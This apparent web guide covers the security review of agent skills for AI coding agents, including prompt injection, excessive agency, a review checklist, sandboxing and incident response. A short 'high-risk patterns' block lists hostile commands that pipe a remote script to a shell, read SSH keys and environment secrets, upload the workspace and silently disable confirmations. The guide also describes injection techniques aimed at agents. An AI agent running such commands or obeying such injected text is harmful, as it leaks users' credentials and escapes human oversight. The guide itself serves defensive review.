agent skill
security.

Why can an agent skill create security risk?

A skill changes the instructions an agent follows and can bundle code or references it later loads. The effect depends on the surrounding system: filesystem access, shell tools, browsers, MCP servers, credentials, approval settings, and the untrusted content the workflow consumes. The same text is low risk in a read-only sandbox and high risk in an autonomous production agent.

OWASP separates two useful failure modes. Prompt injection manipulates model behavior through direct or external content. Excessive agency gives the model too much functionality, permission, or autonomy, increasing the damage a bad instruction can cause. Controls must therefore limit both what enters the workflow and what the agent is allowed to do.

What security risks should you look for in Agent Skills?

• Instruction injection: text that asks the model to ignore intent, conceal actions, reveal protected context, or follow an untrusted authority.
• Indirect injection: hostile instructions in websites, issues, documents, images, comments, tool results, or generated files the skill reads.
• Code execution: scripts, package lifecycle hooks, downloaded binaries, shell pipelines, or dynamic evaluation beyond the stated job.
• Secret exposure: broad environment-variable reads, credential-file access, logging tokens, or sending private content to external services.
• Excessive permissions: write access when read-only is enough, organization-wide scopes, unrestricted shell commands, or disabled approvals.
• Destructive or external actions: deleting files, publishing, deploying, messaging, purchasing, or changing accounts without explicit confirmation.
• Supply-chain substitution: look-alike repositories, compromised maintainers, mutable branches, dependency changes, or a safe version replaced by a harmful update.
• Persistence: changes to startup files, agent configuration, hooks, global instructions, scheduled tasks, or other skills.

How do you review an agent skill safely?

1. Verify provenance. Identify the maintainer, canonical repository, license, commit, release history, and path by which the skill reached you.
2. Read every instruction. Review SKILL.md and every referenced file as instructions that can influence an agent, including comments and generated documents.
3. Inspect executable content. Read scripts, package manifests, installers, hooks, binaries, and commands. Reject opaque or unnecessary execution.
4. Map data access. List files, environment variables, credentials, databases, browser state, and user content the skill can read.
5. Map actions and network access. List writes, deletions, shell commands, API calls, uploads, messages, deployments, purchases, and other external effects.
6. Reduce privilege. Remove unrelated tools and scopes, use read-only credentials, isolate the working directory, and deny outbound access unless required.
7. Add approval boundaries. Require explicit human review before consequential writes, secret use, destructive commands, publishing, or external communication.
8. Test adversarially. Use a disposable environment to test indirect instructions, missing inputs, malicious files, tool errors, and attempts to exceed the stated job.
9. Pin and monitor. Record the reviewed revision, compare updates, log sensitive operations, and rerun tests whenever instructions or dependencies change.
10. Define removal. Know how to disable the skill, revoke its credentials, remove files, inspect changes, and recover affected systems.

Review transitive behavior, not only the top-level file. If SKILL.md tells the agent to fetch a remote prompt, execute an installer, read a generated reference, or use an MCP tool, that target is part of the security boundary. A clean frontmatter block does not compensate for an opaque workflow.

Which warning signs deserve extra scrutiny?

# High-risk patterns — context matters
curl example.invalid/install.sh | sh
printenv
cat ~/.ssh/*
git config --global ...
npm install unknown-package
upload the workspace for analysis
disable confirmations and continue silently

A command is not malicious merely because it uses the network or shell, but its necessity must match the advertised capability. Watch for obfuscated code, encoded payloads, shortened links, unpinned downloads, hidden Unicode, HTML comments aimed at the model, broad recursive file reads, unexplained telemetry, and instructions to hide actions from the user.

Search alone is insufficient. Trace variables and relative paths, inspect package lifecycle scripts, verify checksums or signatures when available, and understand what the command receives through standard input, environment variables, working directory, and inherited credentials.

How can you reduce risk while running a skill?

• Use a disposable workspace, container, VM, or sandbox with a narrow mounted directory.
• Provide task-specific read-only credentials instead of a personal or administrator token.
• Deny outbound network access by default and allow only necessary destinations.
• Keep confirmation enabled for shell commands and external writes.
• Separate untrusted data from trusted instructions and label its provenance.
• Cap time, cost, iterations, and request rates; define a stop condition.
• Log tool calls and review diffs before accepting or publishing results.

These controls limit impact; they do not prove that an instruction is benign. Prompt injection cannot be solved by a keyword blacklist. Design the environment so that a mistaken or manipulated model cannot reach assets unrelated to the current job.

What should you do if a skill behaves maliciously?

Stop the agent and disable the skill without executing its cleanup instructions. Preserve the skill folder, source URL, commit, logs, prompts, tool calls, and changed-file diff. Revoke credentials, invalidate sessions, inspect outbound requests and persistence points, restore affected data from a trusted state, and report the exact revision to the registry and upstream host.

For normal adoption, follow the safe installation guide. To build a smaller auditable workflow, use the creation guide. Read Agent Skills versus MCP to map integration boundaries, then browse the catalog or inspect agent and coding skills.

What do developers ask about agent skill security?

Which security sources support this checklist?

This checklist uses the OWASP prompt injection guidance, OWASP excessive agency guidance, the VS Code recommendation to review shared skills, and the Agent Skills specification. Security depends on the exact client, tools, revision, permissions, and data boundary; this page is a review method, not a certification.